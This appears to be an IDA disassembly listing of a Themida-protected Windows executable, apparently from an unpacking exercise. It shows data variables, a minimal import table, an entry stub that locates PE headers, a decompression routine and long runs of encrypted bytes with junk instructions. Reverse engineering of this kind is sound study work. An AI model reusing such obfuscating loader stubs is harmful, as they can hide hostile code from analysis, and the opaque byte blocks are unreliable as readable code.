dword_4DB9A0 dd 0 ; DATA XREF: sub_41B7D3+4r
; sub_41B7D3+8Bw
dword_4DB9A4 dd 0 ; DATA XREF: sub_41C0F4+3Br
; sub_41C0F4+91w
dd 0
dword_4DB9AC dd 0 ; DATA XREF: sub_41C748+Aw
dword_4DB9B0 dd 0 ; DATA XREF: sub_41D081+5Er
; sub_41D081+A4w
align 8
word_4DB9B8 dw 0 ; DATA XREF: sub_41D081+55r
; sub_41D081+9Ao
word_4DB9BA dw 0 ; DATA XREF: sub_41D081+48r
db 2 dup(0)
word_4DB9BE dw 0 ; DATA XREF: sub_41D081+3Br
word_4DB9C0 dw 0 ; DATA XREF: sub_41D081+2Er
word_4DB9C2 dw 0 ; DATA XREF: sub_41D081+21r
align 8
dword_4DB9C8 dd 0 ; DATA XREF: ___:loc_422EDCr
; ___:loc_422F1Er ...
align 10h
dword_4DB9D0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4 dd 0 ; DATA XREF: sub_41EB10+4Bw
; sub_41EC29+2Dw ...
dword_4DB9D8 dd 0 ; DATA XREF: sub_41F312r
dword_4DB9DC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er
; sub_41B202:loc_41B43Fr ...
dword_4DB9E0 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r
; sub_420042+4w ...
dword_4DB9E4 dd 0 ; DATA XREF: sub_420446+37r
dd 0
dword_4DB9EC dd 0 ; DATA XREF: sub_4219D9+11r
; sub_421ADD+1Ar ...
byte_4DB9F0 db 0 ; DATA XREF: sub_4219D9+3r
; sub_4219D9+98r ...
align 4
dword_4DB9F4 dd 0 ; DATA XREF: sub_421ADD+11r
; sub_421BBB+21w ...
byte_4DB9F8 db 0 ; DATA XREF: sub_421BBB+51w
align 4
dword_4DB9FC dd 0 ; DATA XREF: sub_421DB1+4Er
; sub_42218C+3Ar ...
dword_4DBA00 dd 0 ; DATA XREF: sub_421DB1+5Cr
; sub_42218C+43r ...
dword_4DBA04 dd 0 ; DATA XREF: sub_41C9CE+7Ar
; sub_421F58+5r
dword_4DBA08 dd 0 ; DATA XREF: sub_42255C+29r
dword_4DBA0C dd 2 dup(0) ; DATA XREF: sub_41D160+Co
dword_4DBA14 dd 0 ; DATA XREF: sub_41D5AA+4r
; sub_41D5AA+6Er ...
dd 3 dup(0)
dword_4DBA24 dd 0 ; DATA XREF: sub_41D834+61r
; sub_41D834+BFr ...
dd 0
dword_4DBA2C dd 1 ; DATA XREF: sub_422ACA+28r
; sub_422ACA+4Cw ...
dword_4DBA30 dd 0 ; DATA XREF: ___:00422D28r
; ___:00422D34w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
; ___:off_4DB990o
align 10h
dd 3Ah dup(0)
dword_4DBB38 dd 1 ; DATA XREF: ___:004231D2r
; ___:004231F3w ...
dword_4DBB3C dd 0 ; DATA XREF: sub_423590+21r
dword_4DBB40 dd 0 ; DATA XREF: sub_41F32D+154w
; sub_420446:loc_42046Fw ...
dword_4DBB44 dd 0 ; DATA XREF: sub_41F32D+7r
dword_4DBB48 dd 1 ; DATA XREF: sub_423CEC+26r
; sub_423CEC:loc_423D56w
align 10h
word_4DBB50 dw 0 ; DATA XREF: sub_4245E9+1Ao
; sub_4245E9+46r
byte_4DBB52 db 0 ; DATA XREF: sub_4245E9+39r
align 4
dword_4DBB54 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o
dword_4DBB70 dd 0 ; DATA XREF: sub_4245E9+40w
; sub_4245E9+5Co
dword_4DBB74 dd 0 ; DATA XREF: sub_4245E9+4Dw
dword_4DBB78 dd 0 ; DATA XREF: sub_4245E9+31w
dword_4DBB7C dd 0 ; DATA XREF: sub_4245E9+52w
dword_4DBB80 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr
; sub_42470C+38r ...
align 8
dword_4DBB88 dd 0 ; DATA XREF: sub_4247EC+11w
; sub_4247EC+63w ...
align 10h
dword_4DBB90 dd 0 ; DATA XREF: sub_4247EC+33o
; sub_4247EC+46r
dword_4DBB94 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o
word_4DBBD4 dw 0 ; DATA XREF: sub_424A4A+A8r
word_4DBBD6 dw 0 ; DATA XREF: sub_4247EC+54r
; sub_424A4A+DBr ...
word_4DBBD8 dw 0 ; DATA XREF: sub_424A4A+CAr
word_4DBBDA dw 0 ; DATA XREF: sub_424A4A+D3r
; sub_424A4A:loc_424B3Cr
word_4DBBDC dw 0 ; DATA XREF: sub_424A4A+C0r
word_4DBBDE dw 0 ; DATA XREF: sub_424A4A+B8r
word_4DBBE0 dw 0 ; DATA XREF: sub_424A4A+B0r
word_4DBBE2 dw 0 ; DATA XREF: sub_424A4A+9Er
dword_4DBBE4 dd 0 ; DATA XREF: sub_4247EC+4Br
dword_4DBBE8 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo
word_4DBC28 dw 0 ; DATA XREF: sub_424A4A+46r
word_4DBC2A dw 0 ; DATA XREF: sub_4247EC:loc_424863r
; sub_424A4A+78r ...
word_4DBC2C dw 0 ; DATA XREF: sub_424A4A+67r
word_4DBC2E dw 0 ; DATA XREF: sub_424A4A+70r
; sub_424A4A:loc_424ACEr
word_4DBC30 dw 0 ; DATA XREF: sub_424A4A+5Dr
word_4DBC32 dw 0 ; DATA XREF: sub_424A4A+55r
word_4DBC34 dw 0 ; DATA XREF: sub_424A4A+4Dr
word_4DBC36 dw 0 ; DATA XREF: sub_424A4A+3Er
dword_4DBC38 dd 0 ; DATA XREF: sub_4247EC+80r
dword_4DBC3C dd 0 ; DATA XREF: sub_4247EC+132r
; sub_4247EC:loc_424938r ...
dword_4DBC40 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44 dd 0 ; DATA XREF: sub_424D78+3r
; sub_424D78+2Ew ...
dword_4DBC48 dd 0 ; DATA XREF: sub_424D78+43w
; sub_424D78:loc_424DC7r
dword_4DBC4C dd 0 ; DATA XREF: sub_424D78+4Aw
; sub_424D78+60r
dword_4DBC50 dd 0 ; DATA XREF: sub_423A33+3Fr
dword_4DBC54 dd 0 ; DATA XREF: sub_425955:loc_4259BCr
; sub_425955+6Do
dword_4DBC58 dd 0 ; DATA XREF: sub_425955:loc_425993r
; sub_425955+44o
dword_4DBC5C dd 0 ; DATA XREF: sub_425955:loc_425986r
; sub_425955+37o
dword_4DBC60 dd 0 ; DATA XREF: sub_425955:loc_4259A0r
; sub_425955+51o
align 8
dword_4DBC68 dd 0 ; DATA XREF: sub_425F03+28r
; sub_425F03+48w ...
dword_4DBC6C dd 0 ; DATA XREF: sub_426988+28r
; sub_426988+4Cw ...
dword_4DBC70 dd 0 ; DATA XREF: sub_426C13+26r
; sub_426C13:loc_426C7Dw
byte_4DBC74 db 0 ; DATA XREF: sub_40D879r sub_40D879+9w
align 4
dword_4DBC78 dd 2461140h ; DATA XREF: sub_41DBF0:loc_41DC01r
; sub_41F49D+14r ...
align 10h
dword_4DBC80 dd 400h dup(0) ; DATA XREF: ___:off_43D0C8o
; ___:0043D0D0o
dword_4DCC80 dd 200h ; DATA XREF: sub_41DBF0+9r
; sub_41DBF0+56r ...
dd 7 dup(0)
dword_4DCCA0 dd 2460650h ; DATA XREF: sub_41F043+75r
; sub_41F11C+2Ar ...
dword_4DCCA4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o
dword_4DCDA0 dd 20h ; DATA XREF: sub_41DA72+8r
; sub_41F11C+Cr ...
dword_4DCDA4 dd 4E4h ; DATA XREF: sub_41FEA9+14r
; sub_41FEA9+65w ...
align 10h
dword_4DCDB0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o
; sub_41FEA9+171o ...
dword_4DCDBC dd 0 ; DATA XREF: sub_41FEA9+108w
; sub_41FEA9+15Dw ...
byte_4DCDC0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w
; sub_4200E8:loc_420211w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DCEC0 db 0 ; DATA XREF: sub_41FEA9+5Co
; sub_41FEA9+AFo ...
byte_4DCEC1 db 0 ; DATA XREF: sub_41B9D1+5Dr
; sub_41FEA9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DCFC4 dd 0 ; DATA XREF: sub_41FEA9+6Ew
; sub_41FEA9+12Bw ...
dword_4DCFC8 dd 0 ; DATA XREF: sub_41E4D4+5r
; sub_41E4D4+32w
dword_4DCFCC dd 0 ; DATA XREF: sub_41DEA2+23Ar
; sub_41DEA2+25Ar ...
dword_4DCFD0 dd 0 ; DATA XREF: sub_41DEA2+311w
; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4 dd 0 ; DATA XREF: sub_41DEA2+22Dr
; sub_41DEA2+260r ...
dword_4DCFD8 dd 0 ; DATA XREF: sub_41DE77r
; sub_41DEA2+2CBr ...
dword_4DCFDC dd 0 ; DATA XREF: sub_41DE77+8r
; sub_41DEA2+2D0r ...
dword_4DCFE0 dd 0 ; DATA XREF: sub_41B202+5Cr
; sub_41B513+Fr ...
dword_4DCFE4 dd 2460000h ; DATA XREF: sub_41B0B1+5Ar
; sub_41B202+C0r ...
dword_4DCFE8 dd 1 ; DATA XREF: sub_41B0B1+Cr
; sub_41B202:loc_41B232r ...
dword_4DCFEC dd 142340h ; DATA XREF: ___:00422E81r
; ___:00422FACr
dword_4DCFF0 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4 dd 1 ; DATA XREF: sub_42026Dr
; sub_42026D+11w ...
dword_4DCFF8 dd 2460758h ; DATA XREF: sub_41B7D3+3Er
; sub_41CFD3+13r ...
dword_4DCFFC dd 2460758h ; DATA XREF: sub_41B7D3+35r
; sub_41B7D3+57r ...
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DE000h
dd 400h dup(0)
_rsrc___ ends
; Section 3. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DF000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0DF050h, 0DF000h, 3 dup(0)
dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E0000)
; Virtual size : 000FA000 (1024000.)
; Section size in file : 000FA000 (1024000.)
; Offset to raw data for section: 000E0000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 4E0000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 353878CEh, 4CED4h, 54449h, 95172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00546A16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00549F3F SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054A1B5 SIZE 00000061 BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4E0086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E0041
popa
jmp short loc_4E0076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 0, 4Eh, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_4E0041: ; CODE XREF: start+18j
call $+5
pop eax
loc_4E0047: ; DATA XREF: ___:0043812Co
and eax, 0FFFFF000h
xor edi, edi
loc_4E004E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E006D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E0074
loc_4E006D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4E004E
; ---------------------------------------------------------------------------
loc_4E0074: ; CODE XREF: start+57j
mov edi, eax
loc_4E0076: ; CODE XREF: start+1Bj
jmp loc_4E0265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 0E026Ah
add ecx, edi
jmp short loc_4E0090
; ---------------------------------------------------------------------------
loc_4E0086: ; CODE XREF: start+8j
mov eax, offset loc_546A16
mov ecx, offset word_4E026A
loc_4E0090: ; CODE XREF: start+70j
push eax
push ecx
call sub_4E011B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E0265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E011B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E0132: ; CODE XREF: sub_4E011B+7Aj
; sub_4E011B+C3j ...
add dl, dl
jnz short loc_4E013B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E013B: ; CODE XREF: sub_4E011B+19j
jnb short loc_4E0127
add dl, dl
jnz short loc_4E0146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0146: ; CODE XREF: sub_4E011B+24j
jnb short loc_4E0197
xor eax, eax
add dl, dl
jnz short loc_4E0153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0153: ; CODE XREF: sub_4E011B+31j
jnb loc_4E0238
add dl, dl
jnz short loc_4E0162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0162: ; CODE XREF: sub_4E011B+40j
adc eax, eax
add dl, dl
jnz short loc_4E016D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E016D: ; CODE XREF: sub_4E011B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E0178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0178: ; CODE XREF: sub_4E011B+56j
adc eax, eax
add dl, dl
jnz short loc_4E0183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0183: ; CODE XREF: sub_4E011B+61j
adc eax, eax
jz short loc_4E018D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E018D: ; CODE XREF: sub_4E011B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j
mov eax, 1
loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j
add dl, dl
jnz short loc_4E01A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01A5: ; CODE XREF: sub_4E011B+83j
adc eax, eax
add dl, dl
jnz short loc_4E01B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej
jb short loc_4E019C
sub eax, ebx
mov ebx, 1
jnz short loc_4E01E3
mov ecx, 1
loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j
add dl, dl
jnz short loc_4E01C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01C9: ; CODE XREF: sub_4E011B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E01D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01D4: ; CODE XREF: sub_4E011B+B2j
jb short loc_4E01C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j
add dl, dl
jnz short loc_4E01FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01FA: ; CODE XREF: sub_4E011B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E0205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0205: ; CODE XREF: sub_4E011B+E3j
jb short loc_4E01F1
cmp eax, 7D00h
jnb short loc_4E0228
cmp eax, 500h
jb short loc_4E0223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0223: ; CODE XREF: sub_4E011B+F8j
cmp eax, 7Fh
ja short loc_4E022B
loc_4E0228: ; CODE XREF: sub_4E011B+F1j
add ecx, 2
loc_4E022B: ; CODE XREF: sub_4E011B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E0259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0259: ; CODE XREF: sub_4E011B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E011B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4E0265: ; CODE XREF: start:loc_4E0076j
; start+9Dj
jmp loc_546A16
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4E026A dw 38E9h ; DATA XREF: start+77o
dd 1573524h, 8B92BCEAh, 0CEBB3B84h, 0B8AE1001h, 8C478A21h
dd 1175257h, 1D227175h, 0E45F1DC2h, 0FE215C11h, 0A7D7849Ch
dd 0F95DB815h, 0FFE05B78h, 65685400h, 6164696Dh, 59FF6099h
dd 4703B898h, 6552F0ABh, 61741C73h, 7041CE72h, 784F2E2Fh
dd 6457219Ch, 0FF235C71h, 0C22445FEh, 3579F717h, 0DF570817h
dd 0E103CC50h, 3622AA0Ah, 38FF1FE1h, 0FEEB4601h, 65E93321h
dd 8B8E7F38h, 60D442C5h, 815D10E8h, 3533ED00h, 95890612h
dd 0D046169h, 100EF5B5h, 8028A585h, 297BBD83h, 0C748083h
dd 28E8728Bh, 7B35B8E2h, 4470C7C2h, 0E53E1C24h, 186A3440h
dd 29A3E845h, 741E9A68h, 0DF940783h, 4B25070Ah, 0D5A40A89h
dd 214E942h, 2F4F095h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
mov al, 0EEh
pop edx
adc dword ptr [eax], 23621EAh
mov ebx, edx
mov dword ptr [ebp-28h], 0E38108Fh ; CODE XREF: Themida_:004E036Bj
inc eax
mov edi, eax
or [ecx+1D80E67Dh], al
xor esi, [edi+ecx+20h]
or bl, bh
sub dword ptr [ebx+edx*4+120CFF10h], 43h
jmp short near ptr loc_4E034D+1
; ---------------------------------------------------------------------------
db 36h, 0DCh, 6Eh
dd 0C9822661h, 468004C2h, 0FF7CC481h, 0C84902D1h, 458D806Ah
dd 85D8B80h, 1985C728h, 408D5089h, 88C3D10Ah, 89411815h
dd 0BD81140Bh, 755D4006h, 8527E352h, 641DBA8Dh, 8A807580h
dd 92F4BB0Eh, 0ABB8015Bh, 0D3785437h, 870FF9D0h, 0F7754B08h
dd 47C3AF60h, 8C4AA446h, 42F95446h, 8A6157D1h, 0EBF0D040h
dd 45EE14FBh, 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h
dd 7DC334DCh, 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh
dd 0F065C14Ah, 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh
dd 98FB8039h, 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h
dd 8FE660Ah, 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh
dd 4424BD06h, 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h
dd 0AACCA576h, 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh
dd 0AA83B0BDh, 0BAA1387Ch, 0C1B9C108h, 0BDFC5070h, 0FE8037B0h
dd 4947030Fh, 22B9FA75h, 0BBB96A8Bh, 0F1E8C701h, 0CDEEB82h
dd 868E003Bh, 71339A5h, 6F657051h, 0CAFD1D36h, 1407268Ah
dd 590705E9h, 20D98C67h, 57C32CE0h, 7851018h, 6E4821Fh
dd 802798ADh, 0F167405Ch, 53F16BA2h, 298704E9h, 20C45B21h
dd 525558Ah, 8458233h, 4321001Bh, 4475C453h, 92030AD5h
dd 0CB8CEBAAh, 82678034h, 5B4E0039h, 0B8100F76h, 43E3D51h
dd 303B3BD1h, 9754246h, 0C011EA2Eh, 0E4EC480Eh, 6509065h
dd 0C5058465h, 0B8968E05h, 0F0538248h, 29A8C204h, 0B8CD718Ch
dd 0E4BB0EE7h, 812BFF30h, 22C00477h, 84C1341Dh, 753319F9h
dd 73FBC20h, 0EF660A77h, 38027330h, 8C99EC41h, 0F9FFCC7Fh
dd 0FE450C40h, 60A5E9h, 8C52C462h, 1108254Dh, 4CB1AA82h
dd 84D05AABh, 0E8568A13h, 0EE825E60h, 8481AAC3h, 8A4F8109h
dd 2013B9AAh, 43975223h, 67BD0192h, 0D1E6F4BCh, 0F984DE8Dh
dd 0C45E6156h, 876D8AC8h, 0C4564600h, 0EA6368h, 0F996C8FFh
dd 0E905E281h, 6250960h, 0BCAD66h, 35BABE4Fh, 10545CFDh
dd 23148331h, 0B800FEAh, 0E62CE22Bh, 0E9002464h, 2E4C3787h
dd 355127Dh, 10CA0B5Ch, 2F643F86h, 5A6152AEh, 4D8AC8C4h
dd 4216448Ch, 20C45209h, 0C887203Ah, 0A108AE86h, 25BE029Ch
dd 321EDF37h, 508417EAh, 546C4006h, 0A425DE08h, 8B13FD1Eh
dd 0B2E18AEBh, 0EA188C04h, 0F7431B0Ah, 0D9F040C1h, 3A3E3181h
dd 131EA28h, 25100BE9h, 0EB007CA0h, 71038F82h, 33B73442h
dd 0DB946087h, 5D08C8E0h, 34102CCFh, 137BB0A1h, 28C200DEh
dd 0A07547Dh, 0CC0E7484h, 552CF79Ah, 9C910F66h, 0D2041297h
dd 0AC03805h, 3C5BD7B8h, 3306E982h, 0EF90C29h, 635E241Ch
dd 0D3E5BB82h, 60AE8FCAh, 27DDF1Dh, 279006BAh, 4A8A1EFEh
dd 845CB70Eh, 0A853DFEFh, 314E909h, 87A581B4h, 0C316E20Ah
dd 0EEA0346h, 0D4130091h, 61E4FFEEh, 3A037623h, 0C7FA484h
dd 6B08985Fh, 19740377h, 9BDC68A9h, 31377AA0h, 731E9D00h
dd 5711904Ah, 6E28C01Bh, 2EAC7DCAh, 0E95B2400h, 17CCDC54h
dd 0C798008Ah, 0BE79130Eh, 0CF39F9C9h, 0F61C61C4h, 688C6E90h
dd 4A718360h, 0ED164F00h, 0C444B1FCh, 10FD07CDh, 7067041Ch
dd 5D6EFA1h, 0CEF05C06h, 1140DFBDh, 78D76CF5h, 40EB5B00h
dd 5FCA617Fh, 6919C074h, 0FB9C7234h, 8E508800h, 0AEA007C8h
dd 3AC7037Dh, 7AF0BFD2h, 5B08401Eh, 1DD51700h, 1249C8h
dd 927B3B79h, 0F20DA5ECh, 0B0297160h, 52B12Ah, 60C74BABh
dd 13943AECh, 28D79200h, 0ACFF30BEh, 0E99089h, 0F7832533h
dd 62EC864Ch, 3606FCE2h, 808D7DB4h, 87542A51h, 1A520088h
dd 0B7B584FEh, 5C003DD4h, 0C07BBFD3h, 0E050650Ch, 0D1461C8Ah
dd 0EC6FC002h, 0EEFBDF67h, 5873660Eh, 62D447EBh, 0A11F76C0h
dd 307EE86Ah, 63697B8Dh, 0C0838560h, 6A71D5h, 2F911CAAh
dd 0F5A953CDh, 75585C18h, 7806E38h, 0E1B5C70Fh, 0CE1EE0D9h
dd 0EF1DA204h, 1B3CFAC2h, 0E008F7E7h, 6B5A90h, 77ECD7ADh
dd 0EFDEB4Eh, 0CE294F67h, 0EE54D8A0h, 0E6AB368Eh, 90204049h
dd 0DF2E009Dh, 0E4D6B1F8h, 0AD00D198h, 50FB3725h, 50C3C2Bh
dd 44DEE3CAh, 26148079h, 950024E8h, 162F8C4Bh, 0C0A67BFDh
dd 797602A1h, 0C51B2436h, 902097CFh, 80186142h, 52001A99h
dd 652049A0h, 60963233h, 952E91F8h, 0A1C017B1h, 9D5FC091h
dd 0A022005Ah, 0F8ABBB9Ch, 7E1B162Ch, 0D871A8D7h, 2AD1A2FFh
dd 6847E2h, 0D9198699h, 0F6F169E9h, 0E37581Dh, 4E4B4907h
dd 0AB9920A0h, 95141F36h, 846C4692h, 88007907h, 1D139DF1h
dd 2A4C91h, 30DDC036h, 0FD1A06C4h, 0A00042E4h, 0B7B3145h
dd 0E1040A33h, 0A0CE9A20h, 60E91B0h, 69B328Ch, 0FD14D805h
dd 81909F84h, 0B3950E79h, 10E892CEh, 646C80h, 9220A339h
dd 0D9E26712h, 0A944B4A0h, 54D72E80h, 0E8D0A432h, 357E36h
dd 813E7DFFh, 329CEA42h, 95FB5404h, 7744182Ah, 78008336h
dd 0A0008FBBh, 9A946C5Eh, 303288C4h, 0D381CF92h, 340C0E01h
dd 4130D722h, 37400AEh, 5645524Eh, 0FD7853F5h, 8D2F2600h
dd 89E4F8Bh, 0E0780A04h, 3880F4A4h, 4EF6E792h, 99606D3Ch
dd 0A1C84FE3h, 0A5E99D0Ah, 4901A019h, 41677331h, 0DBA36500h
dd 0E88D5B30h, 70782B79h, 0FDFA0546h, 0C413CAB2h, 26B040E6h
dd 0B8B0779Ch, 2810CF68h, 43839102h, 3215003Ch, 0D9C6FF94h
dd 91F8E7h, 72994DD1h, 21742B58h, 28DA291Ch, 213C541Ah
dd 4D193198h, 572CECh, 0F88EBA13h, 0F75CBD71h, 0E5406A00h
dd 878F7CCAh, 94190CD6h, 0B169FBF0h, 86673FE2h, 6810238Ch
dd 624ECDF9h, 2CCC0DDh, 877EC083h, 0E01876C7h, 733AEF06h
dd 26B840DFh, 21E5FB48h, 8A92C0h, 5C2BC272h, 44078B97h
dd 77967675h, 48B78940h, 0C1010779h, 64FD3049h, 453490ABh
dd 0C0921B95h, 8464990Ch, 4FE110h, 0A60FE498h, 0F37B7085h
dd 7423870Ch, 90F7900Dh, 0FC44014Fh, 0A014077Dh, 0A3188908h
dd 8144108Ch, 636B1343h, 49301FF0h, 0F3853DFEh, 0CE8440EAh
dd 0E11D813h, 0E51DD0A0h, 9CCF4A24h, 0C879C743h, 605F9527h
dd 4482509Ch, 183A1419h, 354C00FDh, 53ADDDAEh, 133E203h
dd 2AA04EC9h, 0DC26B7C7h, 0F8F34411h, 0DC07AE9Bh, 8776BB91h
dd 0A52AB440h, 0D9BF0174h, 71B6C90Bh, 0E413E1A4h, 4F2875EDh
dd 0CC0085F1h, 11F318D2h, 0CB4E3Ch, 26786B3Dh, 926CEDB1h
dd 0DD3FC000h, 0DC796407h, 0D4090781h, 602C0F19h, 7BCD13EBh
dd 8C402028h, 486E853Ch, 0FD7D04F4h, 3347A57Eh, 6C90098Ch
dd 0B44835Fh, 16FC0123h, 0B7D382F1h, 37F0EC24h, 2F04F475h
